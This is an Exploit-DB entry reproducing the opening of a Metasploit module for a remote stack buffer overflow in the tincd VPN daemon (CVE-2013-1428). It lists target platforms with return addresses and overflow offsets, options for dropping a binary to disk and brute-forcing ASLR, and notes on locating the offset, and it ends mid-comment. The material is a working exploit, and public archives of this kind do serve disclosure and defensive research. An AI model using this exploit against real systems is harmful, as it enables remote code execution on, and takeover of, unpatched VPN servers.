Exploit-DB #35441
Description: Tincd - (Authenticated) Remote TCP Stack Buffer Overflow (Metasploit)
Type: remote
Platform: multiple
Date: 2014-12-02
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'securerandom'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::TincdExploitClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Tincd Post-Authentication Remote TCP Stack Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in Tinc's tincd
        service. After authentication, a specially crafted tcp packet (default port 655)
        leads to a buffer overflow and allows to execute arbitrary code. This module has
        been tested with tinc-1.1pre6 on Windows XP (custom calc payload) and Windows 7
        (windows/meterpreter/reverse_tcp), and tinc version 1.0.19 from the ports of
        FreeBSD 9.1-RELEASE # 0 and various other OS, see targets. The exploit probably works
        for all versions <= 1.1pre6.
        A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to
        be a non-exploitable crash due to calls to __memcpy_chk depending on how tincd
        was compiled. Bug got fixed in version 1.0.21/1.1pre7. While writing this module
        it was recommended to the maintainer to start using DEP/ASLR and other protection
        mechanisms.
      },
      'Author'         =>
        [
            # PoC changes (mostly reliability), port python to ruby, exploitation including ROP, support for all OS, metasploit module
            'Tobias Ospelt <tobias[at]modzero.ch>', # @floyd_ch
            # original finding, python PoC crash
            'Martin Schobert <schobert[at]modzero.ch>' # @nitram2342
        ],
      'References'     =>
        [
          ['CVE', '2013-1428'],
          ['OSVDB', '92653'],
          ['BID', '59369'],
          ['URL', 'http://www.floyd.ch/?p=741'],
          ['URL', 'http://sitsec.net/blog/2013/04/22/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers/'],
          ['URL', 'http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1428']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Payload'        =>
        {
          'Space'    => 1675,
          'DisableNops' => true
        },
      'Privileged'     => true,
      'Targets'        =>
          [
            # full exploitation x86:
            ['Windows XP x86, tinc 1.1.pre6 (exe installer)',  { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],
            ['Windows 7 x86, tinc 1.1.pre6 (exe installer)',  { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],
            ['FreeBSD 9.1-RELEASE # 0 x86, tinc 1.0.19 (ports)', { 'Platform' => 'bsd', 'Ret' => 0x0804BABB, 'offset' => 1676 }],
            ['Fedora 19 x86 ROP (NX), write binary to disk payloads, tinc 1.0.20 (manual compile)', {
              'Platform' => 'linux', 'Arch' => ARCH_X86, 'Ret' => 0x4d10ee87, 'offset' => 1676 }
              ],
            ['Fedora 19 x86 ROP (NX), CMD exec payload, tinc 1.0.20 (manual compile)', {
              'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Ret' => 0x4d10ee87, 'offset' => 1676 }
              ],
            ['Archlinux 2013.04.01 x86, tinc 1.0.20 (manual compile)',  { 'Platform' => 'linux', 'Ret' => 0x08065929, 'offset' => 1676 }],
            ['OpenSuse 11.2 x86, tinc 1.0.20 (manual compile)',  { 'Platform' => 'linux', 'Ret' => 0x0804b07f, 'offset' => 1676 }],
            # full exploitation ARM:
            ['Pidora 18 ARM ROP(NX)/ASLR brute force, write binary to disk payloads, tinc 1.0.20 (manual compile with restarting daemon)',  {
              'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'Ret' => 0x00015cb4, 'offset' => 1668 }
            ],
            ['Pidora 18 ARM ROP(NX)/ASLR brute force, CMD exec payload, tinc 1.0.20 (manual compile with restarting daemon)',  {
              'Platform' => 'linux', 'Arch' => ARCH_CMD, 'Ret' => 0x00015cb4, 'offset' => 1668 }
            ],
            # crash only:
            ['Crash only: Ubuntu 12.10 x86, tinc 1.1.pre6 (apt-get or manual compile)',  { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],
            ['Crash only: Fedora 16 x86, tinc 1.0.19 (yum)',  { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],
            ['Crash only: OpenSuse 11.2 x86, tinc 1.0.16 (rpm package)',  { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],
            ['Crash only: Debian 7.3 ARM, tinc 1.0.19 (apt-get)',  { 'Platform' => 'linux', 'Ret' => 0x9000, 'offset' => 1668 }]
          ],
      'DisclosureDate' => 'Apr 22 2013', # finding, msf module: Dec 2013
      'DefaultTarget'  => 0))

    register_options(
        [ # Only for shellcodes that write binary to disk
          # Has to be short, usually either . or /tmp works
          # /tmp could be mounted as noexec
          # . is usually only working if tincd is running as root
          OptString.new('BINARY_DROP_LOCATION', [false, 'Short location to drop executable on server, usually /tmp or .', '/tmp']),
          OptInt.new('BRUTEFORCE_TRIES', [false, 'How many brute force tries (ASLR brute force)', 200]),
          OptInt.new('WAIT', [false, 'Waiting time for server daemon restart (ASLR brute force)', 3])
        ], self
      )
  end

  def exploit
    # #
    # x86
    # #
    # WINDOWS XP and 7 full exploitation
    # Simple, we only need some mona.py magic
    # C:\Program Files\tinc>"C:\Program Files\Immunity Inc\Immunity Debugger\ImmunityDebugger.exe" "C:\Program Files\tinc\tincd.exe -D -d 5"
    # !mona config -set workingfolder c:\logs\%p
    # !mona pc 1682
    #  --> C:\logs\tincd\pattern
    # !mona findmsp
    # Straight forward, when we overwrite EIP the second value
    # on the s